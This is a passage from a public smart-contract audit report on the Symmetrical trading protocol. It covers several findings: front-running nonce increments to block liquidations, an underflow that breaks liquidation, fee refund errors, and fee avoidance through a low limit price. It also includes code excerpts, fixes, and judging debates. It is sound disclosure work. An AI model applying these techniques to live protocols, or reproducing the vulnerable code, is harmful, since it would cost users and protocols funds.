    function verifyPartyAUpnl(SingleUpnlSig memory upnlSig, address partyA) internal view {
        MuonStorage.Layout storage muonLayout = MuonStorage.layout();
//        require(
//            block.timestamp <= upnlSig.timestamp + muonLayout.upnlValidTime,
//            "LibMuon: Expired signature"
//        );
        bytes32 hash = keccak256(
            abi.encodePacked(
                muonLayout.muonAppId,
                upnlSig.reqId,
                address(this),
                partyA,
                AccountStorage.layout().partyANonces[partyA],
                upnlSig.upnl,
                upnlSig.timestamp,
                getChainId()
            )
        );
        verifyTSSAndGateway(hash, upnlSig.sigs, upnlSig.gatewaySignature);
    }
```

The `verifyPartyAUpnl` function will take the current nonce of PartyA (`AccountStorage.layout().partyANonces[partyA]`) to build the hash needed for verification.

When the PartyA becomes liquidatable or near to becoming liquidatable, it could start to monitor the mempool for any transaction that attempts to liquidate their accounts. Whenever a liquidator submits a `liquidatePartyA` transaction to liquidate their accounts, they could front-run it and submit a transaction to increment their nonce. When the liquidator's transaction is executed, the on-chain PartyA's nonce will differ from the nonce in the signature, and the liquidation transaction will revert.

For those chains that do not have a public mempool, they can possibly choose to submit a transaction that increments their nonce in every block as long as it is economically feasible to obtain the same result.

Gas fees that PartyA spent might be cheap compared to the number of assets they will lose if their account is liquidated. Additionally, gas fees are cheap on L2 or side-chain (The protocol intended to support Arbitrum One, Arbitrum Nova, Fantom, Optimism, BNB chain, Polygon, Avalanche as per the contest details).

There are a number of methods for PartyA to increment their nonce, this includes but not limited to the following:

- Allocate or deallocate dust amount
- Lock and unlock the dummy position
- Calls `requestToClosePosition` followed by `requestToCancelCloseRequest` immediately

Instance 2 - Blocking liquidation of PartyB The same exploit can be used to block the liquidation of PartyB since the `liquidatePartyB` function also relies on the `LibMuon.verifyPartyBUpnl`, which uses the on-chain nonce of PartyB for signature verification.

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L240

```
File: LiquidationFacetImpl.sol
240:     function liquidatePartyB(
..SNIP..
249:         LibMuon.verifyPartyBUpnl(upnlSig, partyB, partyA);
```

Impact

PartyA can block their accounts from being liquidated by liquidators. With the ability to liquidate the insolvent PartyA, the unrealized profits of all PartyBs cannot be realized, and thus they will not be able to withdraw the profits.

PartyA could also exploit this issue to block their account from being liquidated to:

- Wait for their positions to recover to reduce their losses
- Buy time to obtain funds from elsewhere to inject into their accounts to bring the account back to a healthy level

Since this is a zero-sum game, the above-mentioned create unfairness to PartyB and reduce their profits.

The impact is the same for the blocking of PartyB liquidation.

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L20

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L240

Tool used

Manual Review

Recommendation

In most protocols, whether an account is liquidatable is determined on-chain, and this issue will not surface. However, the architecture of Symmetrical protocol relies on off-chain and on-chain components to determine if an account is liquidatable, which can introduce a number of race conditions such as the one mentioned in this report.

Consider reviewing the impact of malicious users attempting to increment the nonce in order to block certain actions in the protocols since most functions rely on the fact that the on-chain nonce must be in sync with the signature's nonce and update the architecture/contracts of the protocol accordingly.

Discussion

KuTuGu

Escalate This is a DOS grief attack, which is invalid according to sherlock's criteria.

> Could Denial-of-Service (DOS), griefing, or locking of contracts count as a Medium (or High) issue? It would not count if the DOS, etc. lasts a known, finite amount of time <1 year. If it will result in funds being inaccessible for >=1 year, then it would count as a loss of funds and be eligible for a Medium or High designation. The greater the cost of the attack for an attacker, the less severe the issue becomes.

And it's not like a locked offer where partA has to wait for a cool period of to cancel lock. The liquidator can send the liquidation request again immediately after partA maliciously adds the nonce, and it is nearly impossible to prevent the liquidation continuously.

sherlock-admin2

> Escalate This is a DOS grief attack, which is invalid according to sherlock's criteria.
>
> > Could Denial-of-Service (DOS), griefing, or locking of contracts count as a Medium (or High) issue? It would not count if the DOS, etc. lasts a known, finite amount of time <1 year. If it will result in funds being inaccessible for >=1 year, then it would count as a loss of funds and be eligible for a Medium or High designation. The greater the cost of the attack for an attacker, the less severe the issue becomes.
>
> And it's not like a locked offer where partA has to wait for a cool period of to cancel lock. The liquidator can send the liquidation request again immediately after partA maliciously adds the nonce, and it is nearly impossible to prevent the liquidation continuously.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

JeffCX

> And it's not like a locked offer where partA has to wait for a cool period of to cancel lock. The liquidator can send the liquidation request again immediately after partA maliciously adds the nonce, and it is nearly impossible to prevent the liquidation continuously.

Then the party A can increment nonce again:

> There are a number of methods for PartyA to increment their nonce, this includes but not limited to the following:
>
> Allocate or deallocate dust amount Lock and unlock the dummy position Calls requestToClosePosition followed by requestToCancelCloseRequest immediately

Recommend maintaining high severity

KuTuGu

This is why DOS is invalid, anyone can send a transaction again, unless DOS can be in effect for a year, otherwise it should be considered invalid due to the huge cost.

juntzhan

By increasing nonce, PartyA is actually buying himself the time to get account back to health level (front-run to deposit more funds), then he won't be liquidated by anyone and that's how liquidator is DOSed. As liquidation is a core function of this protocol, this issue should be a valid high.

hrishibhat

@KuTuGu

KuTuGu

I don't think the duration of DOS can affect the liquidation:

1. Malicious users must DOS each block to avoid liquidation, which is costly and will not last long;
2. If users have the ability to frontrun to DOS the liquidation, they are more likely to liquidate themselves or repay their loans, rather than the continued pointless DOS

securitygrid

Malicious user can DOS the liquidation by frontrun until he can make a profit.

hrishibhat

Result: High Has duplicates I think the DOS rule is misinterpreted. The DOS rule of 1 year is considered for only related to access to locked funds that does not affect the normal contract functioning. In this case, the severity is clearly high as this affects normal functioning resulting in losses as shown in the issue and duplicates.

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- kutugu: rejected

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/22

Issue H-8: Liquidation of PartyA will fail due to underflow errors

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/241

Found by

bin2chen, cergyk, mstpr-brainbot, panprog, simon135, xiaoming90

Summary

Liquidation of PartyA will fail due to underflow errors. As a result, assets will be stuck, and there will be a loss of assets for the counterparty (the creditor) since they cannot receive the liquidated assets.

Vulnerability Detail

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L126

```
File: LiquidationFacetImpl.sol
126:     function liquidatePositionsPartyA(
127:         address partyA,
128:         uint256[] memory quoteIds
129:     ) internal returns (bool) {
..SNIP..
152:             (bool hasMadeProfit, uint256 amount) =
↪  LibQuote.getValueOfQuoteForPartyA(
153:                 accountLayout.symbolsPrices[partyA][quote.symbolId].price,
154:                 LibQuote.quoteOpenAmount(quote),
155:                 quote
156:             );
..SNIP..
163:             if (
164:                 accountLayout.liquidationDetails[partyA].liquidationType ==
↪  LiquidationType.NORMAL
165:             ) {
166:                 accountLayout.partyBAllocatedBalances[quote.partyB][partyA]
↪  += quote
167:                     .lockedValues
168:                     .cva;
169:                 if (hasMadeProfit) {
170:
↪  accountLayout.partyBAllocatedBalances[quote.partyB][partyA] -= amount;
171:                 } else {
```

```
172:
↪  accountLayout.partyBAllocatedBalances[quote.partyB][partyA] += amount;
173:                    }
174:                } else if (
175:                    accountLayout.liquidationDetails[partyA].liquidationType ==
↪  LiquidationType.LATE
176:                ) {
177:                    accountLayout.partyBAllocatedBalances[quote.partyB][partyA]
↪  +=
178:                        quote.lockedValues.cva -
179:                        ((quote.lockedValues.cva *
↪  accountLayout.liquidationDetails[partyA].deficit) /
180:                            accountLayout.lockedBalances[partyA].cva);
181:                    if (hasMadeProfit) {
182:
↪  accountLayout.partyBAllocatedBalances[quote.partyB][partyA] -= amount;
183:                    } else {
184:
↪  accountLayout.partyBAllocatedBalances[quote.partyB][partyA] += amount;
185:                    }
186:                } else if (
187:                    accountLayout.liquidationDetails[partyA].liquidationType ==
↪  LiquidationType.OVERDUE
188:                ) {
189:                    if (hasMadeProfit) {
190:
↪  accountLayout.partyBAllocatedBalances[quote.partyB][partyA] -= amount;
191:                    } else {
192:
↪  accountLayout.partyBAllocatedBalances[quote.partyB][partyA] +=
193:                            amount -
194:                            ((amount *
↪  accountLayout.liquidationDetails[partyA].deficit) /
195:
↪  uint256(-accountLayout.liquidationDetails[partyA].totalUnrealizedLoss));
196:                    }
197:                }
```

Assume that at this point, the allocated balance of PartyB (`accountLayout.partyBAllocatedBalances[quote.partyB][partyA]`) only has 1000 USD.

In Line 152 above, the `getValueOfQuoteForPartyA` function is called to compute the PnL of a position. Assume the position has a huge profit of 3000 USD due to a sudden spike in price. For this particular position, PartyA will profit 3000 USD while PartyB will lose 3000 USD.

In this case, 3000 USD needs to be deducted from PartyB's account. However, when the `accountLayout.partyBAllocatedBalances[quote.partyB][partyA] -= amount;` code at Line 170, 182, or 190 gets executed, an underflow error will occur, and the transaction will revert. This is because `partyBAllocatedBalances` is an unsigned integer, and PartyB only has 1000 USD of allocated balance, but the code attempts to deduct 3000 USD.

Impact

Liquidation of PartyA will fail. Since liquidation cannot be completed, the assets that are liable to be liquidated cannot be transferred from PartyA (the debtor) to the counterparty (the creditor). Assets will be stuck, and there will be a loss of assets for the counterparty (the creditor) since they cannot receive the liquidated assets.

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L126

Tool used

Manual Review

Recommendation

Consider implementing the following fixes to ensure that the amount to be deducted will never exceed the allocated balance of PartyB to prevent underflow errors from occurring.

```
if (hasMadeProfit) {
+   amountToDeduct = amount >
↪   accountLayout.partyBAllocatedBalances[quote.partyB][partyA] ?
↪   accountLayout.partyBAllocatedBalances[quote.partyB][partyA] : amount
+   accountLayout.partyBAllocatedBalances[quote.partyB][partyA] -= amountToDeduct
-    accountLayout.partyBAllocatedBalances[quote.partyB][partyA] -= amount;
} else {
    accountLayout.partyBAllocatedBalances[quote.partyB][partyA] += amount;
}
```

Discussion

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/22

Issue M-1: Liquidating pending quotes doesn't return trading fee to party A

Source: https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/71

Found by

AkshaySrivastav, Ruhum, mstpr-brainbot, nobody2018, panprog, rvierdiiev, simon135, sinarette

Summary

When a user is liquidated, the trading fees of the pending quotes aren't returned.

Vulnerability Detail

When a pending/locked quote is canceled, the trading fee is sent back to party A, e.g.

- https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyA/PartyAFacetImpl.sol#L136
- https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyA/PartyAFacetImpl.sol#L227

But, when a pending quote is liquidated, the trading fee is not used for the liquidation. Instead, the fee collector keeps the funds:

These funds should be used to cover the liquidation. Since no trade has been executed, the fee collector shouldn't earn anything.

Impact

Liquidation doesn't use paid trading fees to cover outstanding balances. Instead, the funds are kept by the fee collector.

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L105-L120
https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L277-L293

Tool used

Manual Review

Recommendation

return the funds to party A. If party A is being liquidated, use the funds to cover the liquidation. Otherwise, party A keeps the funds.

Discussion

MoonKnightDev

Fixed code PR link:
https://github.com/SYMM-IO/symmio-core/pull/8

Issue M-2: In case if trading fee will be changed then refund will be done with wrong amount

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/92

Found by

0xcrunch, Jiamin, Juntao, Lilyjjo, circlelooper, libratus, mstpr-brainbot, nobody2018, rvierdiiev, xiaoming90

Summary

In case if trading fee will be changed then refund will be done with wrong amount

Vulnerability Detail

When user creates quote, then he pays trading fees. Amount that should be paid is calculated inside LibQuote.getTradingFee function.

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/libraries/LibQuote.sol#L122-L133

As you can see `symbol.tradingFee` is used to determine fee amount. This fee can be changed any time.

When order is canceled, then fee should be returned to user. This function also uses LibQuote.getTradingFee function to calculate fee to return.

So in case if order was created before fee changes, then returned amount will be not same, when it is canceled after fee changes.

Impact

User or protocol losses portion of funds.

Code Snippet

Provided above

Tool used

Manual Review

Recommendation

You can store fee paid by user inside quote struct. And when canceled return that amount.

Discussion

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/8

Issue M-3: In case if symbol is not valid it should be not possible to open position

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/122

Found by

0xcrunch, AkshaySrivastav, Juntao, circlelooper, rvierdiiev

Summary

In case if symbol is not valid it should be not possible to open position

Vulnerability Detail

When user creates a quote, then there is a check [that symbol is valid](In case if symbol is not active it should be not possible to open position). Otherwise, you can't create quote.

It's possible that after some time of trading, symbol will be switched off.

When this happened, then all trades that use old symbol should be closed in some time. And new trades should not be started. All pending qoutes should be canceled adn locked to be unlocked. However, there is no check if symbol is valid in `PartyBFacetImpl.openPosition` function. As result partyB still can open position for not valid symbol.

It's possible that later, oracle will stop provide signatures with prices for that symbol, which means that position can be stucked.

Impact

Possible to open position for invalid symbol.

Code Snippet

Tool used

Manual Review

Recommendation

Do not allow to open position for invalid symbol.

Discussion

mstpr

Escalate

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/muon/crypto_v3.js

sherlock-admin2

> Escalate
>
> https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/muon/crypto_v3.js

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

ctf-sec

Agree with escalation

circlelooper

There should be no doubt this one is valid.

1. It's impractical to assume symbol manager would not invalidate a symbol when there are any symbols actively being traded or queued, symbol manager could be DOSed otherwise (even if there is no trading, when symbol manager tries to invalidate a symbol, malicious user can front-run and create a quote with that symbol);
2. Opening a quote with invalid symbol breaks the invariant that no invalid symbol should be used in a quote, clearly code does not work as intended, also leading to various issues and potentially losses for the users

mstpr

@circlelooper

1- Symbol manager can easily avoid front-running: Pausing the partyA, partyB actions and then does the symbol update 2- When a symbol is invalid, no quotes can be opened anymore by any partyA https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/facets/PartyA/PartyAFacetImpl.sol#L44 3- Even there are some trades that going on with an invalid symbol, there is still no problem because the Muon app will be getting the correct pnl. MuonApp checks the quotes symbolId, calculates the price and returns the pnl. Nothing can go wrong here as long as the MuonApp works as intended.

circlelooper

@mstpr

1. Malicious user can still front-run pausing to send out quote with invalid symbol, there is not much difference;
2. A honest user may send quotes with long expiration dates, it's irrational for admin to wait for time to expire then invalidate the symbol;
3. MuonApp won't work as intended with invalid symbolId, as mentioned in the report:

   > It's possible that later, oracle will stop provide signatures with prices for that symbol, which means that position can be stucked.

This can be seen from verify method:

> The verify method takes several inputs, including the signature, reqId, nonceAddress, start, size, v3Contract, partyA, nonce, uPnl, loss, symbolIds, prices, timestamp, and chainId. It verifies the signature by comparing it with a generated hash of the provided parameters. If the signature is successfully verified, the method returns a subset of the input data, including the v3contract, partyA, nonce, uPnl, loss, symbolIds within a specified range, prices corresponding to those symbolIds, timestamp, and chainId. If the signature verification fails, an error is thrown.

```
case 'verify': {
    let { signature, reqId, nonceAddress, start, size, v3Contract, partyA,
↪   nonce, uPnl, loss, symbolIds, prices, timestamp, chainId } = params
    const seedRequest = { ...request, method: 'partyA_overview', reqId }
    start = parseInt(start)
    size = parseInt(size)
    symbolIds = JSON.parse(symbolIds)
    prices = JSON.parse(prices)
    const seedSignParams = [
        { type: 'address', value: v3Contract },
        { type: 'address', value: partyA },
        { type: 'uint256', value: nonce },
        { type: 'int256', value: uPnl },
        { type: 'int256', value: loss },
        { type: 'uint256[]', value: symbolIds },
        { type: 'uint256[]', value: prices },
        { type: 'uint256', value: timestamp },
        { type: 'uint256', value: chainId },
    ]
    const hash = this.hashAppSignParams(seedRequest, seedSignParams)
    if (!await this.verify(hash, signature, nonceAddress))
        throw `signature not verified`
    return {
        v3Contract,
        partyA,
        nonce,
        uPnl,
        loss,
        symbolIds: symbolIds.slice(start, start + size),
        prices: prices.slice(start, start + size),
        timestamp,
        chainId
    }


}
```

https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/muon/crypto_v3.js#L412-L446

4. Symmetrical gets prices from Binance, Kucoin and Mexc, things will go wrong if use an symbol not supported by those platforms

```
getPrices: async function (symbols) {
    const promises = [
        this.getBinancePrices(),
        this.getKucoinPrices(),
        this.getMexcPrices(),
    ]


    const result = await Promise.all(promises)
    const markPrices = {
        'binance': result[0],
        'kucoin': result[1],
        'mexc': result[2],
    }


    if (!this.checkPrices(symbols, markPrices)) throw { message: `Corrupted
 ↪  Price` }


    return { pricesMap: markPrices['binance'], markPrices }
},
```

https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd

07c8217897dd233dbb6cd1f5/symmio-core/muon/crypto_v3.js#L125-L142

Opening a quote with invalid symbol is not an intended behavior, can lead to unexpected results.

hrishibhat

@mstpr Do you have additonal comments?

mstpr

> @mstpr
>
> 1. Malicious user can still front-run pausing to send out quote with invalid symbol, there is not much difference;
> 2. A honest user may send quotes with long expiration dates, it's irrational for admin to wait for time to expire then invalidate the symbol;
> 3. MuonApp won't work as intended with invalid symbolId, as mentioned in the report:
>
>   It's possible that later, oracle will stop provide signatures with prices for that symbol, which means that position can be stucked.
>
> This can be seen from verify method:
>
> > The verify method takes several inputs, including the signature, reqId, nonceAddress, start, size, v3Contract, partyA, nonce, uPnl, loss, symbolIds, prices, timestamp, and chainId. It verifies the signature by comparing it with a generated hash of the provided parameters. If the signature is successfully verified, the method returns a subset of the input data, including the v3contract, partyA, nonce, uPnl, loss, symbolIds within a specified range, prices corresponding to those symbolIds, timestamp, and chainId. If the signature verification fails, an error is thrown.

```
case 'verify': {
    let { signature, reqId, nonceAddress, start, size, v3Contract, partyA,
↪   nonce, uPnl, loss, symbolIds, prices, timestamp, chainId } = params
    const seedRequest = { ...request, method: 'partyA_overview', reqId }
    start = parseInt(start)
    size = parseInt(size)
    symbolIds = JSON.parse(symbolIds)
    prices = JSON.parse(prices)
    const seedSignParams = [
        { type: 'address', value: v3Contract },
        { type: 'address', value: partyA },
        { type: 'uint256', value: nonce },
        { type: 'int256', value: uPnl },
        { type: 'int256', value: loss },
        { type: 'uint256[]', value: symbolIds },
        { type: 'uint256[]', value: prices },
        { type: 'uint256', value: timestamp },
        { type: 'uint256', value: chainId },
    ]
    const hash = this.hashAppSignParams(seedRequest, seedSignParams)
    if (!await this.verify(hash, signature, nonceAddress))
        throw `signature not verified`


    return {
        v3Contract,
        partyA,
        nonce,
        uPnl,
        loss,
        symbolIds: symbolIds.slice(start, start + size),
        prices: prices.slice(start, start + size),
        timestamp,
        chainId
    }


}
```

https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/muon/crypto_v3.js#L412-L446

4. Symmetrical gets prices from Binance, Kucoin and Mexc, things will go wrong if use an symbol not supported by those platforms

```
getPrices: async function (symbols) {
    const promises = [
        this.getBinancePrices(),
        this.getKucoinPrices(),
        this.getMexcPrices(),
    ]


    const result = await Promise.all(promises)
    const markPrices = {
        'binance': result[0],
        'kucoin': result[1],
        'mexc': result[2],
    }


    if (!this.checkPrices(symbols, markPrices)) throw { message: `Corrupted
↪   Price` }


    return { pricesMap: markPrices['binance'], markPrices }
},
```

> https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/muon/crypto_v3.js#L125-L142
>
> Opening a quote with invalid symbol is not an intended behavior, can lead to unexpected results.

You can't frontrun if you pause first, if you try to frontrun pause Symbol manager will check and will not update the symbol.

I agree that symbols shouldn't be opened if they are invalid however, I don't think this is a medium finding considering symbol manager is trusted, also as long as the Muon oracle gives price there is no real harm.

Remember, symbol manager can update a symbol while a quote is actually opened aswell, so it all comes down to Symbol managers actions

panprog

I'd like to add to the discussion: if there are positions opened with the symbol, which is switched off, there is no way to forcedly close all those positions, which is a much bigger problem than opening quotes and somewhat similar as well: positions already opened (and quotes already sent) will remain valid even after symbol is switched off. I'd say it's no big deal if quotes can be opened for invalid symbol as it's not much different from already opened quotes with invalid symbol. Yes, it's better if it's not allowed, but it's not much different from already opened quotes, so I'd say it's low impact. I've also seen this problem but didn't report it exactly because I thought that already opened positions with invalid symbol are what really matters and since those can't be closed, there is no real harm in letting open position with invalid symbol.

circlelooper

> You can't frontrun if you pause first, if you try to frontrun pause Symbol manager will check and will not update the symbol.

Sounds like a DOS attack.

> I agree that symbols shouldn't be opened if they are invalid however, I don't think this is a medium finding considering symbol manager is

> trusted, also as long as the Muon oracle gives price there is no real harm. Remember, symbol manager can update a symbol while a quote is actually opened aswell, so it all comes down to Symbol managers actions

Symbol manager is trusted doesn't mean he/she can do everything at perfect timing, symbol manager will have to update a symbol even if there are pending requests, because some requests may have no expiration date.

> I'd like to add to the discussion: if there are positions opened with the symbol, which is switched off, there is no way to forcedly close all those positions, which is a much bigger problem than opening quotes and somewhat similar as well: positions already opened (and quotes already sent) will remain valid even after symbol is switched off. I'd say it's no big deal if quotes can be opened for invalid symbol as it's not much different from already opened quotes with invalid symbol. Yes, it's better if it's not allowed, but it's not much different from already opened quotes, so I'd say it's low impact. I've also seen this problem but didn't report it exactly because I thought that already opened positions with invalid symbol are what really matters and since those can't be closed, there is no real harm in letting open position with invalid symbol.

Symbol can be invalidated for various reasons:

1. If Muon gives no price data for the invalid symbol and user's position is opened, user's position cannot be closed and funds will be locked;
2. If Muon gives incorrect price data for the invalid symbol and user's position is opened, user's position can be closed but user will suffer a huge loss.

The already opened positions with invalid symbol will no doubt bring damages, that's exactly why we should not allow new positions to be opended with invalid symbol, only by doing that we can mitigate futher damages to the protocol.

panprog

> The already opened positions with invalid symbol will no doubt bring damages, that's exactly why we should not allow new positions to be opended with invalid symbol, only by doing that we can mitigate futher damages to the protocol.

My point is that there is no way to remove already opened positions with invalid symbol. So if there are opened positions, it doesn't matter if we also let the pending quotes with this symbol be opened - there are the other opened positions anyway. So in this sense pending quotes are no worse than opened position, and since opened positions can not be mitigated anyway, pending quotes can't cause any harm not already present.

Now thinking of it, I guess the real bug is that there is no symbol "settlement" functionality - like if the price feed stops working for the symbol, or is about to be stopped, all positions with this symbol should be settled (closed) at the market (or some average) price. Maybe this should happen when symbol is set invalid. So the problem is not in letting quotes open, the problem is with not settling already opened positions. But this is not mentioned anywhere.

circlelooper

> So the problem is not in letting quotes open, the problem is with not settling already opened positions. But this is not mentioned anywhere.

Actually this is metioned in the report:

> It's possible that later, oracle will stop provide signatures with prices for that symbol, which means that position can be stucked.

I think this is very obvious: `positions opened with invalid symbol -> opened positions with invalid symbol -> positions cannot be settled`

The rootcause is the same, so the issue is valid.

panprog

> The rootcause is the same, so the issue is valid.

Yes, I agree that issue is valid, but I think that impact is low, because fixing this issue won't improve the situation significantly: if pending -> open transition is prohibited for invalid symbol, there are still open positions with this invalid symbol, meaning nothing really changed.

The only scenario when fixing this issue will help is if there are no open positions, but there are pending quotes (for example: an incorrect symbol was accidently allowed, some users already started sending quotes, but the admin noticed this and invalidated the symbol). In such scenario, yes, fixing this issue will help. But it can be classified as admin mistake which should be invalid then. Or it can happen on a mature market, where all users have closed positions but there are still pending quotes (which is extremely unlikely but possible). I'm not sure if such scenario is enough for the medium impact.

circlelooper

> if pending -> open transition is prohibited for invalid symbol, there are still open positions with this invalid symbol, meaning nothing really changed

They are essentially the same: If there are no opening positions, this issue leads to invalid symbol used in opening positions; If there are opening positions, this issue makes things worse and more funds are locked (oracle provides no price data) or lost (oracle provides compromised price data).

> But it can be classified as admin mistake which should be invalid then.

It's not admin error, as I mentioned above: "symbol manager will have to update a symbol even if there are pending requests, because some requests may have no expiration date".

Opening quotes with invalid symbol leads to user's funds being locked or lost, it's enough for a medium.

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/6

panprog

> this issue makes things worse and more funds are locked (oracle provides no price data) or lost (oracle provides compromised price data).

Good point, agree. However, this can be fixed off-chain and I don't think funds will be stuck/lost due to this issue, because the protocol doesn't use the oracle feeds directly, and off-chain muon app can simply return and sign the same (settled) price for malfunctioning feed as a "settlement" measure for invalid symbols with invalid oracle feed.

However, @hrishibhat says that historically Sherlock rules consider issues that can be fixed off-chain to be valid medium, because they must be fixed on-chain. This issue can be fixed both off-chain and on-chain, so according to this rule it should probably be a valid medium.

In addition, I'd like to add that this issue is only part of the story. I think that the whole process of making a symbol invalid is just not well thought out by developers. They should think what to do with open positions. And the best fix should most probably be on-chain, something like:

1. Instead of valid/invalid they should make a symbol status like: invalid, active, closeonly, settled, paused
2. For certain statuses like "settled" admin should also be able to set the settlement price
3. If status is not active, new quotes should not be opened and pending/locked quotes should only be able to be cancelled
4. Open positions should be closed using fixed settlement price in settled status, be denied to be closed in paused and invalid status.

This issue only tackles point 3, but is still valid.

hrishibhat

Result: Medium Has duplicates After considering all the comments above and further internal discussion, there seems to be a lot of factors to be considered here and this issue can be considered on the borderline regarding the impact of the issue and that it can be handled on the muon app end. However, given some of the comments above, Sponsor's opinion, and the fix applied, this can be considered a valid issue as this can cause issues if positions are opened with some of these quotes as the check is currently only for send quotes.

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- mstpr: accepted

Issue M-4: lockQuote() increaseNonce parameters do not work properly

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/123

Found by

Juntao, Viktor_Cortess, bin2chen, cergyk, kutugu, n1punp, nobody2018, rvierdiiev, xiaoming90

Summary

in `lockQuote()` will execute `partyBNonces[quote.partyB][quote.partyA] += 1` if increaseNonce == true But this operation is executed before setting `quote.partyB`, resulting in actually setting `partyBNonces[address(0)][quote.partyA] += 1`

Vulnerability Detail

in `lockQuote()` , when execute `partyBNonces[quote.partyB][quote.partyA] += 1` , `quote.paryB` is address(0)

```
    function lockQuote(uint256 quoteId, SingleUpnlSig memory upnlSig, bool
↪   increaseNonce) internal {
        QuoteStorage.Layout storage quoteLayout = QuoteStorage.layout();
        AccountStorage.Layout storage accountLayout = AccountStorage.layout();

        Quote storage quote = quoteLayout.quotes[quoteId];
        LibMuon.verifyPartyBUpnl(upnlSig, msg.sender, quote.partyA);
        checkPartyBValidationToLockQuote(quoteId, upnlSig.upnl);
        if (increaseNonce) {
@>          accountLayout.partyBNonces[quote.partyB][quote.partyA] += 1;
        }
        quote.modifyTimestamp = block.timestamp;
        quote.quoteStatus = QuoteStatus.LOCKED;
@>      quote.partyB = msg.sender;
        // lock funds for partyB
        accountLayout.partyBPendingLockedBalances[msg.sender][quote.partyA].addQ⌋
↪   uote(quote);
        quoteLayout.partyBPendingQuotes[msg.sender][quote.partyA].push(quote.id);
    }
```

actually setting `partyBNonces[address(0)][quote.partyA] += 1`

Impact

increaseNonce parameters do not work properly

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyB/PartyBFacetImpl.sol#L29-L38

Tool used

Manual Review

Recommendation

```
    function lockQuote(uint256 quoteId, SingleUpnlSig memory upnlSig, bool
 ↪  increaseNonce) internal {
        QuoteStorage.Layout storage quoteLayout = QuoteStorage.layout();
        AccountStorage.Layout storage accountLayout = AccountStorage.layout();

        Quote storage quote = quoteLayout.quotes[quoteId];
        LibMuon.verifyPartyBUpnl(upnlSig, msg.sender, quote.partyA);
        checkPartyBValidationToLockQuote(quoteId, upnlSig.upnl);
        if (increaseNonce) {
-           accountLayout.partyBNonces[quote.partyB][quote.partyA] += 1;
+           accountLayout.partyBNonces[msg.sender][quote.partyA] += 1;
        }
        quote.modifyTimestamp = block.timestamp;
        quote.quoteStatus = QuoteStatus.LOCKED;
        quote.partyB = msg.sender;
        // lock funds for partyB
        accountLayout.partyBPendingLockedBalances[msg.sender][quote.partyA].addQ ⌋
 ↪  uote(quote);
        quoteLayout.partyBPendingQuotes[msg.sender][quote.partyA].push(quote.id);
    }
```

Discussion

MoonKnightDev

The Party B can lock the quotes of only one Party A with a single signature and it cannot even open all of them. The sole repercussion would be the locking of the user's quotes. so we don't consider it as "High"

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/5

Issue M-5: Any user can avoid paying most of the protocol fees on short positions, and can unknowingly pay very high fee on long positions

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/139

Found by

panprog

Summary

Protocol fee paid by the user for LIMIT orders is calculated based on the LIMIT `price` provided by the user. For short positions, a very low LIMIT `price` allows to basically open short position close to MARKET order (using current market price). However, the fee paid will be based on very low LIMIT `price`, which is far below current market price, allowing the user to pay very low fee (close to 0), which is the funds lost by the protocol (the user steals his fee from the protocol).

For long positions, if the LIMIT `price` provided is very high (which basically equals a MARKET long order), the user will unknowningly overpay the fee due to the same bug.

Vulnerability Detail

For LIMIT orders, the protocol fee user pays is calculated as percentage of `quantity * requestedOpenPrice`, which is a price provided by the user in the quote.

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/libraries/LibQuote.sol#L126-L130

For short positions, a user can provide very low price (for example, if current ETH price is $1000, user can provide 1)andbechargedaverylowfee(0.01 instead of $10). Since the provided price is very low, the order will basically be equal to MARKET order. This allows users to avoid paying the protocol fee, which is a loss of fees funds for the protocol.
